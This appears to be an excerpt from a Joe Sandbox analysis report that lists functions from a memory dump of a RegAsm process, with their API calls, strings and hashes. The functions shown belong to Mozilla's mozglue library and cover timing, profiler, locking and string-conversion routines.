MZx, xrefs: 6CC411E1
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6CC4120D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 3e16fd5c83407ce78f9cf1b38fa99cadf590d9b6a752389335596af92aa2c3e2
Instruction ID: 1afe90019d4850eedea6f23d10d6e6cb27e7957bd05694e60a6a7139557b1260
Opcode Fuzzy Hash: 3e16fd5c83407ce78f9cf1b38fa99cadf590d9b6a752389335596af92aa2c3e2
Instruction Fuzzy Hash: 8D71D671E013548ADB109FB8C8447DEB7F5BF44309F04865ED585A3B40FB34AAA9CBA2

Function 6CC331C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CC33217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CC33236
FreeLibrary.KERNEL32 ref: 6CC3324B
__Init_thread_footer.LIBCMT ref: 6CC33260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CC3327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC3328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC332AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC332D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC332E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC332F7

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

__aulldiv.LIBCMT ref: 6CC3346B

Strings

QueryInterruptTime, xrefs: 6CC33230
KernelBase.dll, xrefs: 6CC33212

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 24d0bffebbf9098df0dd450c23b91b6a6a62f61fec522b2f71c3558530eb498e
Instruction ID: 1c94c05127b750f9548ece4308760e28e0583b76498d4b895636a058bacb5580
Opcode Fuzzy Hash: 24d0bffebbf9098df0dd450c23b91b6a6a62f61fec522b2f71c3558530eb498e
Instruction Fuzzy Hash: 4D611F71A087418BCB11CF78C45065AB7F4BFC6354F248B1DF8A9A3A91EB30A54A8B46

Function 6CC96660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CCBF618), ref: 6CC96694
GetThreadId.KERNEL32(?), ref: 6CC966B1
GetCurrentThreadId.KERNEL32 ref: 6CC966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC966E1
EnterCriticalSection.KERNEL32(6CCBF618), ref: 6CC96734
GetCurrentProcess.KERNEL32 ref: 6CC9673A
LeaveCriticalSection.KERNEL32(6CCBF618), ref: 6CC9676C
GetCurrentThread.KERNEL32 ref: 6CC967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CC96868
RtlCaptureContext.NTDLL ref: 6CC9687F

Strings

WalkStack64, xrefs: 6CC96890

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 05ce91893531c86a705ee82389ca70b4f55f63aa736e457722385bd767acdf9d
Instruction ID: af78d29077be33a60a17b64599f805b13a55f32f750c1917ff7349afd26404fb
Opcode Fuzzy Hash: 05ce91893531c86a705ee82389ca70b4f55f63aa736e457722385bd767acdf9d
Instruction Fuzzy Hash: BC51DB71A09701AFDB51CFA4C884B5ABBF4BF89714F00492DF89887690E770E908CB96

Function 6CC7DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7DE73
GetCurrentThreadId.KERNEL32 ref: 6CC7DF7D
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7DF8A
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7DFC9
GetCurrentThreadId.KERNEL32 ref: 6CC7DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CC44A68), ref: 6CC7DE7B

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CC44A68), ref: 6CC7DEB8
free.MOZGLUE(00000000,?,6CC44A68), ref: 6CC7DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC7DF38

Strings

<none>, xrefs: 6CC7DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CC7E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CC7DE83

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: a4a944557c9bb55f58dc34e4d826ad57f3f53a1b717694da40663c698f470f64
Instruction ID: bbb3ebcb5fecd236de531b9bf4561cf1e43243eb28dd6efe89c0c29d5eca5e3e
Opcode Fuzzy Hash: a4a944557c9bb55f58dc34e4d826ad57f3f53a1b717694da40663c698f470f64
Instruction Fuzzy Hash: DA41D13DB012119FDB209FA9D8587AAB775EB8630CF144019E90997F01EB71AC05CBFA

Function 6CC8D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D918
GetCurrentThreadId.KERNEL32 ref: 6CC8D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D970
GetCurrentThreadId.KERNEL32 ref: 6CC8D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC8DA2E
GetCurrentThreadId.KERNEL32 ref: 6CC8DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CC8DA91

Part of subcall function 6CC55C50: GetTickCount64.KERNEL32 ref: 6CC55D40
Part of subcall function 6CC55C50: EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC55D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8DAB7

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 85d5bae015983f66aef01da2e1c4f1a4f2ff76356281145a34a7d5830562678a
Instruction ID: e46abd5caba052722e54fcc871b490c89618e6130c17c4d8554c6d930661f241
Opcode Fuzzy Hash: 85d5bae015983f66aef01da2e1c4f1a4f2ff76356281145a34a7d5830562678a
Instruction Fuzzy Hash: 5371CC716043059FCB00CF69C898B9ABBF5FF89318F15856EF85A9B311EB30A945CB91

Function 6CC8D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D52A
GetCurrentThreadId.KERNEL32 ref: 6CC8D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D55F
free.MOZGLUE(00000000), ref: 6CC8D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC8D5D3
GetCurrentThreadId.KERNEL32 ref: 6CC8D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D652
GetCurrentThreadId.KERNEL32 ref: 6CC8D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC8D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC8D6A2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 9c4a39e64d61966d01172d39e24b93c32d3f1e9b99b0c386e7cbdc494dfd4444
Instruction ID: 6b8429217441f5d062c37c545a1846f654b366f4165faeed9df6732add8e392b
Opcode Fuzzy Hash: 9c4a39e64d61966d01172d39e24b93c32d3f1e9b99b0c386e7cbdc494dfd4444
Instruction Fuzzy Hash: D3516AB16057059FC704DF75C898A9ABBB4FF89318F108A2EE84A87711EB30A945CB95

Function 6CC55670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CC556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CC556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CC55744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CC557BC
GetTickCount64.KERNEL32 ref: 6CC558CB
EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC558F3
__aulldiv.LIBCMT ref: 6CC55945
LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CCBF638,?,?,?,?), ref: 6CC559E9

Strings

MOZ_APP_RESTART, xrefs: 6CC556CC

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: e840d3b08470c7dc352ec84a4d26bcb77a8a9f5bec8b314b05cb6f434263e41d
Instruction ID: 12408110a06ff88b6264ba13c981f0291965a2d368dcbb3d891aac047f195198
Opcode Fuzzy Hash: e840d3b08470c7dc352ec84a4d26bcb77a8a9f5bec8b314b05cb6f434263e41d
Instruction Fuzzy Hash: 6DC19B79A083419FCB05CF68C44066ABBF1BFDA714F458A1DE8C497760E730E895CB86

Function 6CC7EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7EC8C

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

GetCurrentThreadId.KERNEL32 ref: 6CC7ECA1
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CC7ECC5
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC7ED19
CloseHandle.KERNEL32(?), ref: 6CC7ED28
free.MOZGLUE(00000000), ref: 6CC7ED2F
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CC7EC94

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 0b5f746ca30ce80bc79f34900e728158a2a719addba06bcce23a0810fa68d7c2
Instruction ID: 07281a793eb7ed1c1053609bf6e718834aecc0d9380b5e9f9dcdcdc33db649e5
Opcode Fuzzy Hash: 0b5f746ca30ce80bc79f34900e728158a2a719addba06bcce23a0810fa68d7c2
Instruction Fuzzy Hash: 3C21F17E600118AFDB109FA8D848ADAB779FF4626CF104214FC1897B41FB719C158BB9

Function 6CC43A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6CC43BB4
ReleaseSRWLockShared.KERNEL32 ref: 6CC43BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6CC43BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6CC43C91
ReleaseSRWLockShared.KERNEL32 ref: 6CC43CBD
moz_xmalloc.MOZGLUE ref: 6CC43CF1

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: e7b4137685bf5dc6ab23edceeca029da9df828a227552669e7664d9a9994d071
Instruction ID: e352c688748c690a1130ce2487ad8135125a0361c86616790666ffc7e0f94dae
Opcode Fuzzy Hash: e7b4137685bf5dc6ab23edceeca029da9df828a227552669e7664d9a9994d071
Instruction Fuzzy Hash: EAC16CB5A097418FC714DF29C08465ABBF1BF89304F19CA5ED8998BB11E731E885CB82

Function 6CC78ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CC3EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CC7B392,?,?,00000001), ref: 6CC791F4

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

Strings

name, xrefs: 6CC78F16
timeline-fileio, xrefs: 6CC790A4
timeline-overview, xrefs: 6CC7907A
data, xrefs: 6CC790E8
marker-chart, xrefs: 6CC7905E
stack-chart, xrefs: 6CC790B2
marker-table, xrefs: 6CC7906C
timeline-memory, xrefs: 6CC79088
timeline-ipc, xrefs: 6CC79096

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 636f2ccf26a5ee0907b789879e4e718fcd2caddc5bf4bb09952b97df2e5aafbf
Instruction ID: 0c4efa25f905736eceef55707aba2a532bc01767e8cc9e2cc0dd2c328e6e6fd5
Opcode Fuzzy Hash: 636f2ccf26a5ee0907b789879e4e718fcd2caddc5bf4bb09952b97df2e5aafbf
Instruction Fuzzy Hash: 97B1C4B0A0120A9BDB14CFA9C895BEEBBB5FF85358F104019D905ABF80F7319945CBE1

Function 6CC5C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC5C5A3
WideCharToMultiByte.KERNEL32 ref: 6CC5C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CC5C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CC5CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC5CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC5CAA5

Strings

(null), xrefs: 6CC5C596
0, xrefs: 6CC5D30A

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2819172353aa728e3dac5af3b3757e855eb0986eb86c10ce2db094ef8050daf8
Instruction ID: 0d33ddf7d7e43faeb4ab26ca9b4bae91f20132de202599faa0f6807b7c72b0ef
Opcode Fuzzy Hash: 2819172353aa728e3dac5af3b3757e855eb0986eb86c10ce2db094ef8050daf8
Instruction Fuzzy Hash: C9A19C716083429FDB00DF29C98475ABBF1FF89748F44882DE899D7641EB31D825CB9A

Function 6CC5C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC5C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC5C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CC5C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC5C891

Strings

inf, xrefs: 6CC5C78F
INF, xrefs: 6CC5C794
nan, xrefs: 6CC5C7A8
NAN, xrefs: 6CC5C7AD

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: e7d4d5bb30827784ae3fc954e276b9615268e6332ef3ea422cef169ddb1e82cc
Instruction ID: 4c7851381f7f93ec6a11652519b002619245002b9f1df180a070a7477c6520a2
Opcode Fuzzy Hash: e7d4d5bb30827784ae3fc954e276b9615268e6332ef3ea422cef169ddb1e82cc
Instruction Fuzzy Hash: 73517F709087408BD700EF6DC58129AFBF0BF9E348F408A2DE9D5A7651F770D9A58B46

Function 6CC33480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC33492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CC3350E
__Init_thread_footer.LIBCMT ref: 6CC33522
__aulldiv.LIBCMT ref: 6CC33552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC3357C
